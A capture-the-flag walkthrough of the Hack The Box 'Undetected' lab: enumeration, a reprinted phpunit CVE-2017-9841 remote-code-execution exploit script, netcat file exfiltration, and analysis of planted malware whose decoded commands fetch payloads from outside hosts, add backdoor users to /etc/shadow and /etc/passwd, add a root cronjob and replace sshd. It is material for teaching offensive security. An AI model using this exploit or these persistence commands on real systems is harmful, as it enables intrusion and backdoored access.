Hack The Box - Undetected Walkthrough
Today we will be taking a look at the medium box "Undetected" from Hack The Box. The foothold for the box can be found through a vulnerable php script in a directory that should not be world accessible. The script allows for remote code execution onto the box as the www-data user. We then escalate to user by finding an odd looking backup file which is actually an ELF compiled exploit. We can look at the strings of the compiled file to find user credentials. We then find an encoded backdoor that hints at another executable (when decoded). This executable has to be reversed in Ghidra to find the root SSH password.
Foothold
As usual, we start off by running a full tcp nmap scan on all ports to enumerate all services and their corresponding version numbers.
1nmap -sC -sV -p- -oA nmap/initial 10.129.114.58
The nmap scan comes back with the following results.
1PORT STATE SERVICE VERSION
222/tcp open ssh OpenSSH 8.2 (protocol 2.0)
3| ssh-hostkey:
4| 3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA)
5| 256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA)
6|_ 256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519)
780/tcp open http Apache httpd 2.4.41 ((Ubuntu))
8|_http-title: Diana's Jewelry
9|_http-server-header: Apache/2.4.41 (Ubuntu)
We can see port 22 running a recent version of SSH. Let's take a look at the website. We can see its title is "Diana's Jewelry". Let's start a gobuster scan to check for interesting files and directories.
1gobuster dir -u http://10.129.114.58/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o gobuster.out.ip -x php
Which doesn't provide any interesting results. While manually enumerating the website I hover over "Store", which redirects to "store.djewelry.htb". Let's add store.djewelry.htb to our /etc/hosts file and visit it. Let's start a gobuster on this virtual host.
1gobuster dir -u http://store.djewelry.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o gobuster.out -x php
Gobuster provides us the following results.
1/images (Status: 301) [Size: 325]
2/js (Status: 301) [Size: 321]
3/css (Status: 301) [Size: 322]
4/login.php (Status: 200) [Size: 4129]
5/cart.php (Status: 200) [Size: 4396]
6/products.php (Status: 200) [Size: 7447]
7/index.php (Status: 200) [Size: 6215]
8/fonts (Status: 301) [Size: 324]
9/vendor (Status: 301) [Size: 325]
10/server-status (Status: 403) [Size: 283]
Most of the .php locations lead to dead ends because the website doesn't seem to have an actual backend. Directory listing is enabled, so we can manually look through the directories that we found. In the /vendor/ directory we find a "phpdocumentor" directory. I run searchsploit to check for vulnerabilities.
1kali@kali-$ searchsploit phpdocumentor
2------------------------------------------------------------------------------
3Exploit Title
4------------------------------------------------------------------------------
5phpDocumentor 1.2/1.3 - Forum Lib Variable Cross-Site Scripting
6phpDocumentor 1.3.0 rc4 - Remote Command Execution
7------------------------------------------------------------------------------
We see a remote code execution vulnerability. Unfortunately the version number doesn't match, and the files it needs aren't located on the web server. Besides this finding, the directory listing doesn't provide us with any interesting information.
We know that the box uses virtual hosts, so let's enumerate the web server to find out whether there are any more virtual hosts that we can look into. To scan for virtual hosts the following wfuzz command is used.
1wfuzz -c -u http://store.djewelry.htb/ -H "Host: FUZZ.djewelry.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 15283 -f wfuzz.out
The only host that we find is store.
1=====================================================================
2ID Response Lines Word Chars Payload
3=====================================================================
4
5000000081: 200 195 L 475 W 6203 Ch "store"
We can try to use a more extensive subdomain list.
1wfuzz -c -u http://store.djewelry.htb/ -H "Host: FUZZ.djewelry.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hh 15283 -f wfuzz.out
But no luck.
1=====================================================================
2ID Response Lines Word Chars Payload
3=====================================================================
4
5000000081: 200 195 L 475 W 6203 Ch "store"
6000009532: 400 10 L 35 W 304 Ch "#www"
7000010581: 400 10 L 35 W 304 Ch "#mail"
8000047706: 400 10 L 35 W 304 Ch "#smtp"
Let's run Nikto to see whether we maybe missed something in our basic web enumeration.
1nikto -h store.djewelry.htb
Nikto comes back with the following results.
1- Nikto v2.1.6
2---------------------------------------------------------------------------
3+ Target IP: 10.129.114.58
4+ Target Hostname: store.djewelry.htb
5+ Target Port: 80
6+ Start Time: 2022-04-08 13:55:11 (GMT2)
7---------------------------------------------------------------------------
8+ Server: Apache/2.4.41 (Ubuntu)
9+ The anti-clickjacking X-Frame-Options header is not present.
10+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
11+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
12+ No CGI Directories found (use '-C all' to force check all possible dirs)
13+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
14+ OSVDB-3268: /css/: Directory indexing found.
15+ OSVDB-3092: /css/: This might be interesting...
16+ OSVDB-3268: /images/: Directory indexing found.
17+ /login.php: Admin login page/section found.
18+ 7863 requests: 0 error(s) and 8 item(s) reported on remote host
19+ End Time: 2022-04-08 13:58:00 (GMT2) (169 seconds)
20---------------------------------------------------------------------------
21+ 1 host(s) tested
But doesn't provide us any more information that can be leveraged towards obtaining a foothold onto the server. I try to find more information over UDP, so I run the following UDP nmap scan.
1sudo nmap -sC -sV -sU 10.129.114.58
But it also doesn't show us anything of use.
1PORT STATE SERVICE REASON VERSION
253/udp closed domain port-unreach ttl 63
367/udp closed dhcps port-unreach ttl 63
468/udp open|filtered dhcpc no-response
569/udp open|filtered tftp no-response
6123/udp open|filtered ntp no-response
7135/udp open|filtered msrpc no-response
8137/udp closed netbios-ns port-unreach ttl 63
9138/udp closed netbios-dgm port-unreach ttl 63
10139/udp open|filtered netbios-ssn no-response
11161/udp open|filtered snmp no-response
12162/udp open|filtered snmptrap no-response
13445/udp closed microsoft-ds port-unreach ttl 63
14500/udp closed isakmp port-unreach ttl 63
15514/udp closed syslog port-unreach ttl 63
16520/udp open|filtered route no-response
17631/udp closed ipp port-unreach ttl 63
181434/udp closed ms-sql-m port-unreach ttl 63
191900/udp open|filtered upnp no-response
204500/udp closed nat-t-ike port-unreach ttl 63
2149152/udp closed unknown port-unreach ttl 63
So far this box has been a struggle. After looking at hints in the HTB official discussion, I decided to take another look at the /vendor/ directory. After a while of searching I found that phpunit is vulnerable to a remote code execution vulnerability. I didn't find this the first time because while I was looking through searchsploit I looked for "phpunit" instead of "php unit" with a space... Ugh.
Anyways, the eval-stdin.php file located in http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php is vulnerable to CVE-2017-9841. I clone the python exploit script from exploitdb.
1# Exploit Title: PHP Unit 4.8.28 - Remote Code Execution (RCE) (Unauthenticated)
2# Date: 2022/01/30
3# Exploit Author: souzo
4# Vendor Homepage: phpunit.de
5# Version: 4.8.28
6# Tested on: Unit
7# CVE : CVE-2017-9841
8
9import requests
10from sys import argv
11phpfiles = ["/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"]
12
13def check_vuln(site):
14 vuln = False
15 try:
16 for i in phpfiles:
17 site = site+i
18 req = requests.get(site,headers= {
19 "Content-Type" : "text/html",
20 "User-Agent" : f"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0",
21 },data="<?php echo md5(phpunit_rce); ?>")
22 if "6dd70f16549456495373a337e6708865" in req.text:
23 print(f"Vulnerable: {site}")
24 return site
25 except:
26 return vuln
27def help():
28 exit(f"{argv[0]} <site>")
29
30def main():
31 if len(argv) < 2:
32 help()
33 if not "http" in argv[1] or not ":" in argv[1] or not "/" in argv[1]:
34 help()
35 site = argv[1]
36 if site.endswith("/"):
37 site = list(site)
38 site[len(site) -1 ] = ''
39 site = ''.join(site)
40
41 pathvuln = check_vuln(site)
42 if pathvuln == False:
43 exit("Not vuln")
44 try:
45 while True:
46 cmd = input("> ")
47 req = requests.get(str(pathvuln),headers={
48 "User-Agent" : f"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0",
49 "Content-Type" : "text/html"
50 },data=f'<?php system(\'{cmd}\') ?>')
51 print(req.text)
52 except Exception as ex:
53 exit("Error: " + str(ex))
54main()
And run it.
1python3 50702.py http://store.djewelry.htb/
2Vulnerable: http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
3> whoami
4www-data
We have our foothold as www-data. Let's stabilize our shell, and look for our privilege escalation path to the Steven user.
User shell
After some manual enumeration I decided to run Linpeas. I find two very interesting results. One being a backup file called /var/backups/info, and the other being a cronjob that is being ran as root (* 3 * * * root /var/lib/.main). When searching for the /var/lib/.main I couldn't find the .main file. Therefore I skipped that and looked into /var/backups/info.
1> file /var/backups/info
2
3/var/backups/info: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dc004db7476356e9ed477835e583c68f1d2493a, for GNU/Linux 3.2.0, not stripped
Looks like we are dealing with an x64 ELF binary. It's not stripped, thus comments and other useful information will still be inside of it. The binary is dynamically linked, thus it uses on-the-box libraries. Let's take a look at its strings (for some reason I can't use the strings command, so I ended up running cat). Besides all of the unreadable binary data, we also see some text that we can kindof make sense of.
1> cat /var/backups/info
2
3fork()/etc/shadow[.] checking if we got root[-] something went wrong =([+]
4got r00t ^_^[-] unshare(CLONE_NEWUSER)deny/proc/self/setgroups[-] write_file(/proc/self/set_groups)0 %d 1
5/proc/self/uid_map[-] write_file(/proc/self/uid_map)/proc/self/gid_map[-] write_file(/proc/self/gid_map)[-] sched_setaffinity()/sbin/ifconfig lo up[-] system(/sbin/ifconfig lo up)[.] starting[.] namespace sandbox set up[.] KASLR bypass
6 enabled, getting kernel addr[.] done, kernel text: %lx
7[.] commit_creds: %lx
8[.] prepare_kernel_cred: %lx
9[.] native_write_cr4: %lx
10[.] padding heap[.] done, heap is padded[.] SMEP & SMAP bypass enabled, turning them off[.] done, SMEP & SMAP should be off now[.] executing get root payload %p
It almost looks like some sort of exploit or at least a binary that is checking if it can get root permissions, and if so, it will execute some task. Let's download the binary off of this box and analyze it in Ghidra. To accomplish this I use netcat. On the receiver box I run.
1nc -nvlp 9001 > binary.elf
On the sending box I run.
1> md5sum /var/backups/info
204060ea986c7bacdc64130a1d7b8ca2d
3
4> /usr/bin/nc -w 3 10.10.14.12 9001 < /var/backups/info
We download the file and check whether we didn't lose any data along the way.
1> nc -nvlp 9001 > binary.elf
2listening on [any] 9001 ...
3connect to [10.10.14.12] from (UNKNOWN) [10.129.114.58] 58328
4
5> md5sum binary.elf
604060ea986c7bacdc64130a1d7b8ca2d
The md5sums match, so we should be good to go. Let's run strings on the file before opening it, as we couldn't do this while it was still on the hackthebox VM.
1strings binary.elf
2
37767[...]56d7066696c65732e787[...]72732e74787b20726[...]6572732e7478[...]743b
Given the characters 0-9 and a-f this looks like a hexdump. I use Cyberchef to decode it for us. It shows the following results.
1wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys; wget tempfiles.xyz/.main -O /var/lib/.main; chmod 755 /var/lib/.main; echo "* 3 * * * root /var/lib/.main" >> /etc/crontab; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:\$6\$zS7ykHxxxxxx1IUrhZanRuDZhf1oIdnxxxxxegBXk.VtGg78eL7WxxxxxxBtPu8Ufm9hM0R/BLxxxxQ0T9n/:18813:0:99999:7::: >> /etc/shadow")}' /etc/passwd; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd; while read -r user group home shell _; do echo "$user"1":x:$group:$group:,,,:$home:$shell" >> /etc/passwd; done < users.txt; rm users.txt;
We see that there is a hash echo'd to the /etc/shadow file, meaning that if we can crack it, we will be able to log onto the box with the cracked password. We get rid of the surrounding data and only specify the hash.
1$6$xxxxx3aYht4$1IUrhxxxxxxxxxxxlwbkegBXk.VtGg78eL7WBM6OxM0R/BLdACoQ0T9n/
We then use john to crack the hash.
1john --wordlist=/usr/share/wordlists/rockyou.txt hash
Which finds us an SSH password! As we had our interactive session on the box, we can check the /etc/passwd for all users on the box.
1cat /etc/passwd
2
3root:x:0:0:root:/root:/bin/bash
4daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
5bin:x:2:2:bin:/bin:/usr/sbin/nologin
6sys:x:3:3:sys:/dev:/usr/sbin/nologin
7sync:x:4:65534:sync:/bin:/bin/sync
8games:x:5:60:games:/usr/games:/usr/sbin/nologin
9man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
10lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
11mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
12news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
13uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
14proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
15www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
16backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
17list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
18irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
19gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
20nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
21systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
22systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
23systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
24messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
25syslog:x:104:110::/home/syslog:/usr/sbin/nologin
26_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
27tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
28uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
29tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
30landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
31pollinate:x:110:1::/var/cache/pollinate:/bin/false
32usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
33systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
34steven:x:1000:1000:Steven Wright:/home/steven:/bin/bash
35lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
36sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
37steven1:x:1000:1000:,,,:/home/steven:/bin/bash
Looks like our user is named steven1. Let's try to use the cracked credentials to SSH onto the system as steven1.
1ssh steven1@10.129.114.58
2
3steven@production:~$ whoami
4steven
5
6steven@production:~$ ls
7user.txt
Nice, we got our user flag. Interestingely enough we login as steven1, but turn out to to be the steven user. Not sure why this is the case. Anyways, let's escalate to root.
Privilege Escalation
Let's run linpeas as our new user. Linpeas returns some interesting results regarding emails owned by Steven.
1[+] Mails (limit 50)
217793 4 -rw-rw---- 1 steven mail 966 Jul 25 2021 /var/mail/steven
317793 4 -rw-rw---- 1 steven mail 966 Jul 25 2021 /var/spool/mail/steven
Let's read the contents of the email.
1steven@production:~$ cat /var/mail/steven
2
3From root@production Sun, 25 Jul 2021 10:31:12 GMT
4Return-Path: <root@production>
5Received: from production (localhost [127.0.0.1])
6 by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847
7 for <steven@production>; Sun, 25 Jul 2021 10:31:12 GMT
8Received: (from root@localhost)
9 by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847;
10 Sun, 25 Jul 2021 10:31:12 GMT
11Date: Sun, 25 Jul 2021 10:31:12 GMT
12Message-Id: <202107251031.80FAcdZ171847@production>
13To: steven@production
14From: root@production
15Subject: Investigations
16
17Hi Steven.
18
19We recently updated the system but are still experiencing some strange behaviour with the Apache service.
20We have temporarily moved the web store and database to another server whilst investigations are underway.
21If for any reason you need access to the database or web application code, get in touch with Mark and he will generate a temporary password for you to authenticate to the temporary server.
22
23Thanks,
24sysadmin
The email is sent by root@production, and is ended written by the sysadmin. It looks like there is something interesting going on with the apache2 service. I looked through the enabled sites and configurations but there were no interesting configuration entries.
Apache is located in the /usr/lib/apache2 directory. Let's take a look.
1ls -lah /usr/lib/apache2/modules
2
3[...]
4-rw-r--r-- 1 root root 4.5M Nov 25 23:16 libphp7.4.so
5[...]
6-rw-r--r-- 1 root root 23K Jan 5 14:49 mod_proxy_uwsgi.so
7-rw-r--r-- 1 root root 19K Jan 5 14:49 mod_proxy_wstunnel.so
8-rw-r--r-- 1 root root 15K Jan 5 14:49 mod_ratelimit.so
9-rw-r--r-- 1 root root 34K May 17 2021 mod_reader.so
10-rw-r--r-- 1 root root 15K Jan 5 14:49 mod_reflector.so
11-rw-r--r-- 1 root root 31K Jan 5 14:49 mod_remoteip.so
12-rw-r--r-- 1 root root 19K Jan 5 14:49 mod_reqtimeout.so
13[...]
Theres a lot of files in the directory, but only two files that were edited on a date different than January 5th. The two files are libphp7.4.so and mod_reader.so. Let's download the two files to our attack VM. On the receiver box I start two listeners.
1nc -nvlp 9001 > libphp7.4.so
2nc -nvlp 9002 > mod_reader.so
And on the sending box I run the two following nc commands.
1steven@production:/usr/lib/apache2/modules$ md5sum libphp7.4.so
2026789ec895aac3f941f36bc1254c6da libphp7.4.so
3
4steven@production:/usr/lib/apache2/modules$ md5sum mod_reader.so
55ef63371b6a138253a87aa1f79abf199 mod_reader.so
6
7steven@production:/usr/lib/apache2/modules$ /usr/bin/nc -w 3 10.10.14.12 9001 < libphp7.4.so
8
9steven@production:/usr/lib/apache2/modules$ /usr/bin/nc -w 3 10.10.14.12 9002 < mod_reader.so
I check the md5sums, and they match. I run strings on the libphp7.4.so, but I don't see any interesting information. I then run strings on mod_reader.so, and find the following base64 encoded string.
1strings mod_reader.so
2
3d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk
Let's use the built-in base64 package to decode it.
1echo -n "d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk" | base64 -d
And we find the following decoded info.
1wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd
This box has a very interesting theme. I reversed the backup file in Ghidra, and it seemed to be a privilege escalation exploit. Then we find this, which appears to download malicious software from sharefiles.xyz, and overwrite the /usr/sbin/sshd file. Looks like a malware infected box. Anyways, let's analyze this /usr/sbin/sshd file in Ghidra as well. First, we need to download it to our box.
1nc -nvlp 9003 > sshd
And we download the file
1steven@production:/usr/lib/apache2/modules$ md5sum /usr/sbin/sshd
29ae629656c6f72dc957358b1f41df27e /usr/sbin/sshd
3
4steven@production:/usr/lib/apache2/modules$ /usr/bin/nc -w 3 10.10.14.12 9002 < /usr/sbin/sshd
Let's take a look at the file type and the way it's compiled.
1file sshd
2
3sshd: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=81f92a57f5fc9f678359f6da9f922af23b7fd8bd, for GNU/Linux 3.2.0, with debug_info, not stripped
sshd is an x64 ELF binary that is not stripped, meaning we can still see function names and comments in the binary, and is dynamically linked, thus requiring installed libraries on the system to run. Additionally, it's a pie executable, meaning it has some protections built-in with regards to binary exploitation.
We open Ghidra, create a new project and let Ghidra auto analyze the ELF binary. In the Symbol tree, we navigate to Functions and see the functions that are being called in the binary. Unfortunately for us, there's a lot of different folders with different functions available in the ELF. Luckily for us I went through a few, starting from A, and ended up finding the perfect function by trial and error. Within the A directory, there is a function called "auth_password". Let's look at its pseudo code.
1int auth_password(ssh *ssh,char *password)
2
3{
4 Authctxt *ctxt;
5 passwd *ppVar1;
6 int iVar2;
7 uint uVar3;
8 byte *pbVar4;
9 byte *pbVar5;
10 size_t sVar6;
11 byte bVar7;
12 int iVar8;
13 long in_FS_OFFSET;
14 char backdoor [31];
15 byte local_39 [9];
16 long local_30;
17
18 bVar7 = 0xd6;
19 ctxt = (Authctxt *)ssh->authctxt;
20 local_30 = *(long *)(in_FS_OFFSET + 0x28);
21 backdoor._28_2_ = 0xa9f4;
22 ppVar1 = ctxt->pw;
23 iVar8 = ctxt->valid;
24 backdoor._24_4_ = 0xbcf0b5e3;
25 backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
26 backdoor[30] = -0x5b;
27 backdoor._0_4_ = 0xf0e7abd6;
28 backdoor._4_4_ = 0xa4b3a3f3;
29 backdoor._8_4_ = 0xf7bbfdc8;
30 backdoor._12_4_ = 0xfdb3d6e7;
31 pbVar4 = (byte *)backdoor;
32 while( true ) {
33 pbVar5 = pbVar4 + 1;
34 *pbVar4 = bVar7 ^ 0x96;
35 if (pbVar5 == local_39) break;
36 bVar7 = *pbVar5;
37 pbVar4 = pbVar5;
38 }
39 iVar2 = strcmp(password,backdoor);
40 uVar3 = 1;
41 if (iVar2 != 0) {
42 sVar6 = strlen(password);
43 uVar3 = 0;
44 if (sVar6 < 0x401) {
45 if ((ppVar1->pw_uid == 0) && (options.permit_root_login != 3)) {
46 iVar8 = 0;
47 }
48 if ((*password != '\0') ||
49 (uVar3 = options.permit_empty_passwd, options.permit_empty_passwd != 0)) {
50 if (auth_password::expire_checked == 0) {
51 auth_password::expire_checked = 1;
52 iVar2 = auth_shadow_pwexpired(ctxt);
53 if (iVar2 != 0) {
54 ctxt->force_pwchange = 1;
55 }
56 }
57 iVar2 = sys_auth_passwd(ssh,password);
58 if (ctxt->force_pwchange != 0) {
59 auth_restrict_session(ssh);
60 }
61 uVar3 = (uint)(iVar2 != 0 && iVar8 != 0);
62 }
63 }
64 }
65 if (local_30 == *(long *)(in_FS_OFFSET + 0x28)) {
66 return uVar3;
67 }
68 /* WARNING: Subroutine does not return */
69 __stack_chk_fail();
We can see that there should be 31 values in the backdoor array due to the following line.
1char backdoor [31];
Further down in the pseudo code we can see 31 characters being added.
1backdoor._28_2_ = 0xa9f4;
2ppVar1 = ctxt->pw;
3iVar8 = ctxt->valid;
4backdoor._24_4_ = 0xbcf0b5e3;
5backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
6backdoor[30] = -0x5b;
7backdoor._0_4_ = 0xf0e7abd6;
8backdoor._4_4_ = 0xa4b3a3f3;
9backdoor._8_4_ = 0xf7bbfdc8;
10backdoor._12_4_ = 0xfdb3d6e7;
We can see that the backdoor bytes are written to a bpVar4 variable.
1pbVar4 = (byte *)backdoor;
Which is later on being xored with the value of 0x96 (due to the ^ sign).
1while( true ) {
2 pbVar5 = pbVar4 + 1;
3 *pbVar4 = bVar7 ^ 0x96;
4 if (pbVar5 == local_39) break;
5 bVar7 = *pbVar5;
6 pbVar4 = pbVar5;
7 }
Meaning we need to get the 31 byte array, and xor it with a key of 96 to restore the original contents. We first store the 31 bytes starting from the "backdoor 30" line, as it adds up to 31 bytes. The line contains a negative -0x5b character. We use Ghidra to translate it by right clicking on the character and selecting "char". It's translated to "\xa5". I chose to create hex values out of the entire string, and convert it.
1string = "a5a9f4bcf0b5e3b2d6f4a0fda0b3d6fdb3d6e7f7bbfdc8a4b3a3f3f0e7abd6"
2
3buffer = "\\x" + ", \\x".join(string[i:i+2] for i in range (0, len(string), 2))
4
5print(buffer)
6
7>> \xa5, \xa9, \xf4, \xbc, \xf0, \xb5, \xe3, \xb2, \xd6, \xf4, \xa0, \xfd, \xa0, \xb3, \xd6, \xfd, \xb3, \xd6, \xe7, \xf7, \xbb, \xfd, \xc8, \xa4, \xb3, \xa3, \xf3, \xf0, \xe7, \xab, \xd6
I could've used cyberchef right away on the string value I put in my Python script, but I wanted to test my logic :) I now put the hex values in cyberchef, swap endianness with a word length of 31 bytes, convert it from hex and XOR it with a key of 96. The whole recipe can be found here. We found the root SSH password!
Now that we decoded the password, we can login to the box as the root user.
1kali@kali:~$ ssh root@store.djewelry.htb
2
3root@production:~# whoami
4root
5
6root@production:~# ls
7root.txt
And we completed the box. I have to point out that I really liked this box, as it had several different interesting and original ideas. The box had a relatively low rating on Hack The Box, but I think that people just don't like reverse engineering type of systems. Anyways, I hope you learnt something new today. Have a great day!